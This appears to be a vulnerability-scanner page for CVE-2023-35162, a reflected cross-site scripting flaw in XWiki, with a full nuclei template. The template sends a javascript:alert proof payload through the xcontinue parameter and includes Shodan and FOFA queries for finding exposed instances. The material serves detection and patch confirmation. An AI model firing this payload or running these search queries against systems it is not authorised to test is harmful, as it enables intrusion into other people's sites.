XWiki < 14.10.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.

Impact

Successful exploitation could lead to unauthorized access or data theft.

Fix

Apply the latest patches provided by XWiki to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)
Positive when: contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)") and contains(body, "previewactions.vm") and contains(header, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-35162 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-35162

info:
  name: XWiki < 14.10.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Apply the latest patches provided by XWiki to mitigate the vulnerability.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20342
    - https://github.com/xwiki/xwiki-platform/blob/244dbbaa0738a0c40b19929c0369c8b62ae5236e/xwiki-platform-core/xwiki-platform-flamingo/xwiki-platform-flamingo-skin/xwiki-platform-flamingo-skin-resources/src/main/resources/flamingo/previewactions.vm#L48
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35162
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35162
    cwe-id: CWE-79
    epss-score: 0.02377
    epss-percentile: 0.84006
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query:
      - XWiki
      - xwiki
      - http.html:"data-xwiki-reference"
    fofa-query: "body=\"data-xwiki-reference\""
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)")'
          - 'contains(body, "previewactions.vm")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from